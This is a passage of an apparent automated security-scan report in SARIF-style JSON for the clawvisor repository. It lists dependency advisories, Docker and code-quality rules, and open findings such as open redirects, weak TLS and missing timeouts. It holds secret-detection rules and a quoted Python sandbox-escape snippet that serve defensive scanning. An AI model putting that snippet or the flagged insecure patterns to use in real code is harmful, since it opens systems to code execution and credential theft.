""}}, {"id": "GO-2025-3849", "name": "stdlib: GO-2025-3849", "shortDescription": {"text": "stdlib: GO-2025-3849"}, "fullDescription": {"text": "Incorrect results returned from Rows.Scan in database/sql"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-3751", "name": "stdlib: GO-2025-3751", "shortDescription": {"text": "stdlib: GO-2025-3751"}, "fullDescription": {"text": "Sensitive headers not cleared on cross-origin redirect in net/http"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-3750", "name": "stdlib: GO-2025-3750", "shortDescription": {"text": "stdlib: GO-2025-3750"}, "fullDescription": {"text": "Inconsistent handling of O_CREATE|O_EXCL on Unix and Windows in os in syscall"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-3563", "name": "stdlib: GO-2025-3563", "shortDescription": {"text": "stdlib: GO-2025-3563"}, "fullDescription": {"text": "Request smuggling due to acceptance of invalid chunked data in net/http"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-3503", "name": "stdlib: GO-2025-3503", "shortDescription": {"text": "stdlib: GO-2025-3503"}, "fullDescription": {"text": "HTTP Proxy bypass using IPv6 Zone IDs in golang.org/x/net"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-3955", "name": "stdlib: GO-2025-3955", "shortDescription": {"text": "stdlib: GO-2025-3955"}, "fullDescription": {"text": "CrossOriginProtection insecure bypass patterns not limited to exact matches in net/http"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5024", "name": "golang.org/x/sys: GO-2026-5024", "shortDescription": {"text": "golang.org/x/sys: GO-2026-5024"}, "fullDescription": {"text": "Invoking integer overflow in NewNTUnicodeString in golang.org/x/sys/windows"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5030", "name": "golang.org/x/net: GO-2026-5030", "shortDescription": {"text": "golang.org/x/net: GO-2026-5030"}, "fullDescription": {"text": "Invoking duplicate attributes can cause XSS in golang.org/x/net/html"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5029", "name": "golang.org/x/net: GO-2026-5029", "shortDescription": {"text": "golang.org/x/net: GO-2026-5029"}, "fullDescription": {"text": "Invoking incorrect handling of character references in DOCTYPE nodes in golang.org/x/net/html"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5028", "name": "golang.org/x/net: GO-2026-5028", "shortDescription": {"text": "golang.org/x/net: GO-2026-5028"}, "fullDescription": {"text": "Invoking denial of service when parsing arbitrary HTML in golang.org/x/net/html"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5027", "name": "golang.org/x/net: GO-2026-5027", "shortDescription": {"text": "golang.org/x/net: GO-2026-5027"}, "fullDescription": {"text": "Invoking incorrect handling of HTML elements in foreign content in golang.org/x/net/html"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5026", "name": "golang.org/x/net: GO-2026-5026", "shortDescription": {"text": "golang.org/x/net: GO-2026-5026"}, "fullDescription": {"text": "Invoking failure to reject ASCII-only Punycode-encoded labels in golang.org/x/net/idna"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5025", "name": "golang.org/x/net: GO-2026-5025", "shortDescription": {"text": "golang.org/x/net: GO-2026-5025"}, "fullDescription": {"text": "Invoking incorrect handling of namespaced elements in foreign content in golang.org/x/net/html"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5033", "name": "golang.org/x/crypto: GO-2026-5033", "shortDescription": {"text": "golang.org/x/crypto: GO-2026-5033"}, "fullDescription": {"text": "Invoking pathological inputs can lead to client panic in golang.org/x/crypto/ssh/agent"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5023", "name": "golang.org/x/crypto: GO-2026-5023", "shortDescription": {"text": "golang.org/x/crypto: GO-2026-5023"}, "fullDescription": {"text": "Invoking VerifiedPublicKeyCallback permissions skip enforcement in golang.org/x/crypto/ssh"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5021", "name": "golang.org/x/crypto: GO-2026-5021", "shortDescription": {"text": "golang.org/x/crypto: GO-2026-5021"}, "fullDescription": {"text": "Invoking auth bypass via unenforced @revoked status in golang.org/x/crypto/ssh/knownhosts"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5020", "name": "golang.org/x/crypto: GO-2026-5020", "shortDescription": {"text": "golang.org/x/crypto: GO-2026-5020"}, "fullDescription": {"text": "Invoking infinite loop on large channel writes in golang.org/x/crypto/ssh"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5019", "name": "golang.org/x/crypto: GO-2026-5019", "shortDescription": {"text": "golang.org/x/crypto: GO-2026-5019"}, "fullDescription": {"text": "Invoking bypass of FIDO/U2F security keys physical interaction in golang.org/x/crypto/ssh"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5018", "name": "golang.org/x/crypto: GO-2026-5018", "shortDescription": {"text": "golang.org/x/crypto: GO-2026-5018"}, "fullDescription": {"text": "Invoking pathological RSA/DSA parameters may cause DoS in golang.org/x/crypto/ssh"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5017", "name": "golang.org/x/crypto: GO-2026-5017", "shortDescription": {"text": "golang.org/x/crypto: GO-2026-5017"}, "fullDescription": {"text": "Invoking client can cause server deadlock on unexpected responses in golang.org/x/crypto/ssh"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5016", "name": "golang.org/x/crypto: GO-2026-5016", "shortDescription": {"text": "golang.org/x/crypto: GO-2026-5016"}, "fullDescription": {"text": "Invoking memory leak when rejecting channels can lead to DoS in golang.org/x/crypto/ssh"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5015", "name": "golang.org/x/crypto: GO-2026-5015", "shortDescription": {"text": "golang.org/x/crypto: GO-2026-5015"}, "fullDescription": {"text": "Invoking server panic during CheckHostKey/Authenticate in golang.org/x/crypto/ssh"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5014", "name": "golang.org/x/crypto: GO-2026-5014", "shortDescription": {"text": "golang.org/x/crypto: GO-2026-5014"}, "fullDescription": {"text": "Invoking bypass of certificate restrictions in golang.org/x/crypto/ssh"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5013", "name": "golang.org/x/crypto: GO-2026-5013", "shortDescription": {"text": "golang.org/x/crypto: GO-2026-5013"}, "fullDescription": {"text": "Invoking byte arithmetic causes underflow and panic in golang.org/x/crypto/ssh"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5006", "name": "golang.org/x/crypto: GO-2026-5006", "shortDescription": {"text": "golang.org/x/crypto: GO-2026-5006"}, "fullDescription": {"text": "Invoking agent constraints dropped when forwarding keys in golang.org/x/crypto/ssh/agent"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5005", "name": "golang.org/x/crypto: GO-2026-5005", "shortDescription": {"text": "golang.org/x/crypto: GO-2026-5005"}, "fullDescription": {"text": "Invoking key constraints not enforced in golang.org/x/crypto/ssh/agent"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "DKC013", "name": "Database service has no persistent data volume", "shortDescription": {"text": "Database service has no persistent data volume"}, "fullDescription": {"text": "Database containers store data in the writable container layer unless a volume or bind mount is attached to the image's data directory. Recreating the container can lose state."}, "properties": {"scanner": "repobility-docker", "category": "docker", "severity": "high", "confidence": 0.9, "cwe": "", "owasp": ""}}, {"id": "DKC011", "name": "Database service publishes a host port", "shortDescription": {"text": "Database service publishes a host port"}, "fullDescription": {"text": "Publishing database ports to the host increases exposure. Internal Compose networking usually only needs expose, not ports."}, "properties": {"scanner": "repobility-docker", "category": "docker", "severity": "high", "confidence": 0.84, "cwe": "", "owasp": ""}}, {"id": "DKR014", "name": "Dockerfile copies the entire context without .dockerignore", "shortDescription": {"text": "Dockerfile copies the entire context without .dockerignore"}, "fullDescription": {"text": "COPY . or ADD . sends the full build context to Docker. Without .dockerignore this can include secrets, git history, and local artifacts."}, "properties": {"scanner": "repobility-docker", "category": "docker", "severity": "high", "confidence": 0.92, "cwe": "", "owasp": ""}}, {"id": "DKR006", "name": "Dockerfile pipes a remote script into a shell", "shortDescription": {"text": "Dockerfile pipes a remote script into a shell"}, "fullDescription": {"text": "Piping downloaded code directly into a shell bypasses checksum verification and makes builds dependent on mutable remote content."}, "properties": {"scanner": "repobility-docker", "category": "docker", "severity": "high", "confidence": 0.92, "cwe": "", "owasp": ""}}, {"id": "MINED006", "name": "[MINED006] Overcatch Baseexception: except BaseException: ... \u2014 prevents Ctrl+C and SystemExit from working.", "shortDescription": {"text": "[MINED006] Overcatch Baseexception: except BaseException: ... \u2014 prevents Ctrl+C and SystemExit from working."}, "fullDescription": {"text": "Review and fix per the pattern semantics. See CWE-705 /  for context."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "high", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "MINED021", "name": "[MINED021] Path Traversal Os Join: os.path.join(user_dir, filename) where filename can contain \"../\" \u2014 directory escape.", "shortDescription": {"text": "[MINED021] Path Traversal Os Join: os.path.join(user_dir, filename) where filename can contain \"../\" \u2014 directory escape."}, "fullDescription": {"text": "Review and fix per the pattern semantics. See CWE-22 / A01:2021 for context."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "high", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "SEC100", "name": "[SEC100] CORS permissive Access-Control-Allow-Origin: *: Permissive CORS policy (`*` origin) allows any website to make ", "shortDescription": {"text": "[SEC100] CORS permissive Access-Control-Allow-Origin: *: Permissive CORS policy (`*` origin) allows any website to make authenticated cross-origin requests. Especially dangerous when combined with `Access-Control-Allow-Credentials: true`."}, "fullDescription": {"text": "Allowlist specific origins. For dynamic per-request validation, validate against a known list and echo the origin back. Never combine wildcard origin with credentials."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "high", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "MINED033", "name": "[MINED033] Go Recover Without Log: defer func() { recover() }() that silently swallows panic.", "shortDescription": {"text": "[MINED033] Go Recover Without Log: defer func() { recover() }() that silently swallows panic."}, "fullDescription": {"text": "Review and fix per the pattern semantics. See CWE-755 /  for context."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "high", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "MINED118", "name": "Dockerfile FROM `debian:bookworm-slim` not pinned by digest", "shortDescription": {"text": "Dockerfile FROM `debian:bookworm-slim` not pinned by digest"}, "fullDescription": {"text": "`FROM debian:bookworm-slim` resolves the tag at build time. The registry CAN re-push a different image for the same tag, so every build is potentially different. Production images should pin to `image@sha256:...` for reproducibility + supply-chain integrity."}, "properties": {"scanner": "repobility-supply-chain", "category": "dependency", "severity": "high", "confidence": 0.9, "cwe": "", "owasp": ""}}, {"id": "MINED115", "name": "Action `actions/setup-node` pinned to mutable ref `@v4`", "shortDescription": {"text": "Action `actions/setup-node` pinned to mutable ref `@v4`"}, "fullDescription": {"text": "`uses: actions/setup-node@v4` resolves at workflow-run time. Tags and branches can be re-pushed by the action owner; that made the tj-actions/changed-files compromise (2025) instantly affect ~23K repos. Pin to a 40-char commit SHA + lock with Dependabot or renovate."}, "properties": {"scanner": "repobility-supply-chain", "category": "dependency", "severity": "high", "confidence": 0.9, "cwe": "", "owasp": ""}}, {"id": "MINED108", "name": "`self.send_response` used but never assigned in __init__", "shortDescription": {"text": "`self.send_response` used but never assigned in __init__"}, "fullDescription": {"text": "Method `do_GET` of class `Handler` reads `self.send_response`, but no assignment to it exists in __init__ (and no class-level fallback). This raises AttributeError the first time the method runs against an instance."}, "properties": {"scanner": "repobility-ast-engine", "category": "quality", "severity": "high", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "generic-api-key", "name": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations.", "shortDescription": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "fullDescription": {"text": "Gitleaks detected a committed secret or credential pattern."}, "properties": {"scanner": "gitleaks", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "cwe": "", "owasp": ""}}, {"id": "jwt", "name": "Uncovered a JSON Web Token, which may lead to unauthorized access to web applications and sensitive user data.", "shortDescription": {"text": "Uncovered a JSON Web Token, which may lead to unauthorized access to web applications and sensitive user data."}, "fullDescription": {"text": "Gitleaks detected a committed secret or credential pattern."}, "properties": {"scanner": "gitleaks", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "cwe": "", "owasp": ""}}, {"id": "github-pat", "name": "Uncovered a GitHub Personal Access Token, potentially leading to unauthorized repository access and sensitive content ex", "shortDescription": {"text": "Uncovered a GitHub Personal Access Token, potentially leading to unauthorized repository access and sensitive content exposure."}, "fullDescription": {"text": "Gitleaks detected a committed secret or credential pattern."}, "properties": {"scanner": "gitleaks", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "cwe": "", "owasp": ""}}, {"id": "curl-auth-header", "name": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed r", "shortDescription": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "fullDescription": {"text": "Gitleaks detected a committed secret or credential pattern."}, "properties": {"scanner": "gitleaks", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "cwe": "", "owasp": ""}}, {"id": "DKC007", "name": "Compose service contains a literal secret environment value", "shortDescription": {"text": "Compose service contains a literal secret environment value"}, "fullDescription": {"text": "Literal secrets in Compose files are committed to source and exposed through container inspection."}, "properties": {"scanner": "repobility-docker", "category": "docker", "severity": "critical", "confidence": 0.96, "cwe": "", "owasp": ""}}, {"id": "MINED013", "name": "[MINED013] Password In Url: https://user:password@host \u2014 leaks creds via logs, referrer, error messages.", "shortDescription": {"text": "[MINED013] Password In Url: https://user:password@host \u2014 leaks creds via logs, referrer, error messages."}, "fullDescription": {"text": "Review and fix per the pattern semantics. See CWE-200 / A07:2021 for context."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "critical", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "SEC022", "name": "[SEC022] Database URL With Embedded Credential: A database connection URL contains an embedded username and password. Th", "shortDescription": {"text": "[SEC022] Database URL With Embedded Credential: A database connection URL contains an embedded username and password. These URLs are often copied into defaults, docs, and scripts, then leak working credentials."}, "fullDescription": {"text": "Remove the embedded password, require the URL from a secret store or environment variable, and rotate the database credential."}, "properties": {"scanner": "repobility-threat-engine", "category": "credential_exposure", "severity": "critical", "confidence": 1.0, "cwe": "", "owasp": ""}}]}}, "automationDetails": {"id": "repobility/1141"}, "properties": {"repository": "clawvisor/clawvisor", "repoUrl": "https://github.com/clawvisor/clawvisor", "branch": "main"}, "results": [{"ruleId": "GHSA-2j2x-hqr9-3h42", "level": "warning", "message": {"text": "react-router: GHSA-2j2x-hqr9-3h42"}, "properties": {"repobilityId": 113601, "scanner": "osv-scanner", "fingerprint": "a76181a5b41e3bd05834358226049f2217951887ac9e9dbdb318751e9253f578", "category": "dependency", "severity": "medium", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-40181"], "package": "react-router", "rule_id": "GHSA-2j2x-hqr9-3h42", "scanner": "osv-scanner", "correlation_key": "vuln|react-router|CVE-2026-40181|web/package-lock.json"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/package-lock.json"}, "region": {"startLine": 1}}}]}, {"ruleId": "DKR001", "level": "warning", "message": {"text": "Docker final stage has no non-root USER"}, "properties": {"repobilityId": 113401, "scanner": "repobility-docker", "fingerprint": "1e517febfe3ef602ee905460f8bff741bd2623e0fd8d03e1c54433cd693fac01", "category": "docker", "severity": "medium", "confidence": 0.82, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "No USER directive was found in the final runtime stage.", "evidence": {"rule_id": "DKR001", "scanner": "repobility-docker", "final_base": "debian:12-slim", "references": ["https://docs.docker.com/develop/develop-images/dockerfile_best-practices/", "https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html", "https://github.com/hadolint/hadolint"], "correlation_key": "fp|1e517febfe3ef602ee905460f8bff741bd2623e0fd8d03e1c54433cd693fac01"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/isolation/assets/Dockerfile"}, "region": {"startLine": 1}}}]}, {"ruleId": "DKR007", "level": "warning", "message": {"text": "Docker build context has no .dockerignore"}, "properties": {"repobilityId": 113398, "scanner": "repobility-docker", "fingerprint": "c98378cf8c37e4866e89d6ca06a24b7e8c44654aa34e6e4bf1367c4a4c0c5b44", "category": "docker", "severity": "medium", "confidence": 0.9, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Dockerfile exists but repository root has no .dockerignore.", "evidence": {"rule_id": "DKR007", "scanner": "repobility-docker", "references": ["https://docs.docker.com/develop/develop-images/dockerfile_best-practices/"], "correlation_key": "fp|c98378cf8c37e4866e89d6ca06a24b7e8c44654aa34e6e4bf1367c4a4c0c5b44"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".dockerignore"}, "region": {"startLine": 1}}}]}, {"ruleId": "DKR002", "level": "warning", "message": {"text": "Dockerfile base image has no explicit tag"}, "properties": {"repobilityId": 113397, "scanner": "repobility-docker", "fingerprint": "73f87276fbad2e0b0e7f2f8a65e9b66c40cc1d5c3b16100e64e0c74bf0655fa1", "category": "docker", "severity": "medium", "confidence": 0.9, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Image reference has no tag or digest.", "evidence": {"image": "gcr.io/distroless/static-debian12", "rule_id": "DKR002", "scanner": "repobility-docker", "references": ["https://docs.docker.com/develop/develop-images/dockerfile_best-practices/", "https://docs.docker.com/scout/policy/", "https://github.com/hadolint/hadolint"], "correlation_key": "fp|73f87276fbad2e0b0e7f2f8a65e9b66c40cc1d5c3b16100e64e0c74bf0655fa1"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "deploy/Dockerfile"}, "region": {"startLine": 20}}}]}, {"ruleId": "SEC046", "level": "warning", "message": {"text": "[SEC046] Client-side open redirect \u2014 window.location = server-supplied URL: Assigning window.location from a server-supplied URL trusts the server endpoint to never return a hostile destination. If that endpoint is ever subverted (compromised admin, JSON injection, MITM on a webhook), users get redirected to a phishing site they trust because the original page is yours. CWE-601 (server-side OR client-side). Complement to server-side SEC030."}, "properties": {"repobilityId": 113388, "scanner": "repobility-threat-engine", "fingerprint": "cb616be993bd844aa482885b88cf56e94df023383d47b562de21f0270a044cc1", "category": "open_redirect", "severity": "medium", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "window.location.href = data.", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC046", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|cb616be993bd844aa482885b88cf56e94df023383d47b562de21f0270a044cc1"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/Pricing.tsx"}, "region": {"startLine": 130}}}]}, {"ruleId": "SEC046", "level": "warning", "message": {"text": "[SEC046] Client-side open redirect \u2014 window.location = server-supplied URL: Assigning window.location from a server-supplied URL trusts the server endpoint to never return a hostile destination. If that endpoint is ever subverted (compromised admin, JSON injection, MITM on a webhook), users get redirected to a phishing site they trust because the original page is yours. CWE-601 (server-side OR client-side). Complement to server-side SEC030."}, "properties": {"repobilityId": 113387, "scanner": "repobility-threat-engine", "fingerprint": "19d19e745706f377b62f28942b8f9ea035fab8f5bd578c94cf04c0563c744428", "category": "open_redirect", "severity": "medium", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "window.location.href = result.", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC046", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|19d19e745706f377b62f28942b8f9ea035fab8f5bd578c94cf04c0563c744428"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/OAuthAuthorize.tsx"}, "region": {"startLine": 44}}}]}, {"ruleId": "SEC046", "level": "warning", "message": {"text": "[SEC046] Client-side open redirect \u2014 window.location = server-supplied URL: Assigning window.location from a server-supplied URL trusts the server endpoint to never return a hostile destination. If that endpoint is ever subverted (compromised admin, JSON injection, MITM on a webhook), users get redirected to a phishing site they trust because the original page is yours. CWE-601 (server-side OR client-side). Complement to server-side SEC030."}, "properties": {"repobilityId": 113386, "scanner": "repobility-threat-engine", "fingerprint": "1b51d3b4631408a4fc0f2f67053072616f5c14b38e7cb2215c687352c95bcd44", "category": "open_redirect", "severity": "medium", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "window.location.href = data.", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC046", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|1b51d3b4631408a4fc0f2f67053072616f5c14b38e7cb2215c687352c95bcd44"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/Billing.tsx"}, "region": {"startLine": 21}}}]}, {"ruleId": "SEC119", "level": "warning", "message": {"text": "[SEC119] World-writable / world-readable file permissions: World-writable files let any local user (or container neighbor) tamper with data; world-readable files leak secrets."}, "properties": {"repobilityId": 113377, "scanner": "repobility-threat-engine", "fingerprint": "a0b460926bcbbcf4a78d9fdf1bf41be7eaaee4d06113f20c8a564588d463dfbf", "category": "security", "severity": "medium", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "os.Chmod(tmpBinary, 0755)", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC119", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "code|security|pkg/version/update.go|67|sec119"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "pkg/version/update.go"}, "region": {"startLine": 67}}}]}, {"ruleId": "SEC107", "level": "warning", "message": {"text": "[SEC107] Weak TLS version requested (TLSv1.0, TLSv1.1, SSLv3, SSLv2): TLS 1.0 and 1.1 were deprecated by IETF in 2021 (RFC 8996). Most browsers no longer support them. Code requesting these protocols is talking to an attacker-controllable downgrade target."}, "properties": {"repobilityId": 113376, "scanner": "repobility-threat-engine", "fingerprint": "be28be4cf78903dc0c1ef6663613c495d55b9f85356def94143d87989924a5df", "category": "crypto", "severity": "medium", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "tls.VersionTLS10", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC107", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "code|crypto|token|147|sec107"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "pkg/runtime/proxy/timing_transport.go"}, "region": {"startLine": 147}}}]}, {"ruleId": "SEC091", "level": "warning", "message": {"text": "[SEC091] Go: net/http server without timeouts: HTTP server without ReadHeaderTimeout/ReadTimeout/WriteTimeout is vulnerable to Slowloris. Ported from gosec G112 + G114 (Apache-2.0)."}, "properties": {"repobilityId": 113374, "scanner": "repobility-threat-engine", "fingerprint": "bffb8f2169f14190858fdece151bdd9a7817c268adc7ba99ca783832f83c0e91", "category": "quality", "severity": "medium", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "http.Server{\n\t\tHandler:           s.goproxy,\n\t\tReadHeaderTimeout: 30 * time.Second,\n\t\tConnState: fun", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC091", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|bffb8f2169f14190858fdece151bdd9a7817c268adc7ba99ca783832f83c0e91"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "pkg/runtime/proxy/server.go"}, "region": {"startLine": 294}}}]}, {"ruleId": "SEC091", "level": "warning", "message": {"text": "[SEC091] Go: net/http server without timeouts: HTTP server without ReadHeaderTimeout/ReadTimeout/WriteTimeout is vulnerable to Slowloris. Ported from gosec G112 + G114 (Apache-2.0)."}, "properties": {"repobilityId": 113373, "scanner": "repobility-threat-engine", "fingerprint": "80cd0dfc8e8393bffa2d7277d05ede45a712dd1471d6140f0306b713c384c406", "category": "quality", "severity": "medium", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "http.Server{\n\t\tHandler:      s.mux,\n\t\tReadTimeout:  10 * time.Second,\n\t\tWriteTimeout: 10 * time.Seco", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC091", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|80cd0dfc8e8393bffa2d7277d05ede45a712dd1471d6140f0306b713c384c406"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/local/pairing/server.go"}, "region": {"startLine": 68}}}]}, {"ruleId": "SEC091", "level": "warning", "message": {"text": "[SEC091] Go: net/http server without timeouts: HTTP server without ReadHeaderTimeout/ReadTimeout/WriteTimeout is vulnerable to Slowloris. Ported from gosec G112 + G114 (Apache-2.0)."}, "properties": {"repobilityId": 113372, "scanner": "repobility-threat-engine", "fingerprint": "32152737cf799ea19277df852f803c385cea2555a9bda86f33a4590a9d4d51b1", "category": "quality", "severity": "medium", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "http.Server{Handler: mux, ReadHeaderTimeout: 10 * time.Second}", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC091", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|32152737cf799ea19277df852f803c385cea2555a9bda86f33a4590a9d4d51b1"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/daemon/oauth_listener.go"}, "region": {"startLine": 36}}}]}, {"ruleId": "ERR002", "level": "warning", "message": {"text": "[ERR002] Empty Catch Block: Empty catch blocks hide errors."}, "properties": {"repobilityId": 113371, "scanner": "repobility-threat-engine", "fingerprint": "1179f287ccdf52d4059ff47b1849dc1379283b29ddb08ed15ab5be9b4b5fec7c", "category": "error_handling", "severity": "medium", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "catch (_) {}", "reason": "Pattern matched with no mitigating context found", "rule_id": "ERR002", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|1179f287ccdf52d4059ff47b1849dc1379283b29ddb08ed15ab5be9b4b5fec7c"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/clawvisorcli/shim/clawvisor-proxy-shim.js"}, "region": {"startLine": 81}}}]}, {"ruleId": "SEC045", "level": "warning", "message": {"text": "[SEC045] eval()/exec() on stored or user-supplied data: eval() and exec() on data \u2014 even admin-stored data \u2014 is a lateral-movement vector after any one credential compromise. Sandboxes (__builtins__ cleared) are escapable: attackers use object introspection (().__class__.__mro__[-1].__subclasses__()) to reach os.system. CWE-95 (eval injection)."}, "properties": {"repobilityId": 113346, "scanner": "repobility-threat-engine", "fingerprint": "6d7e9f76507db820d16b0c207f765b068c8a900bf489d84a3814fc950a4b3a69", "category": "injection", "severity": "medium", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": ".Exec(", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC045", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": 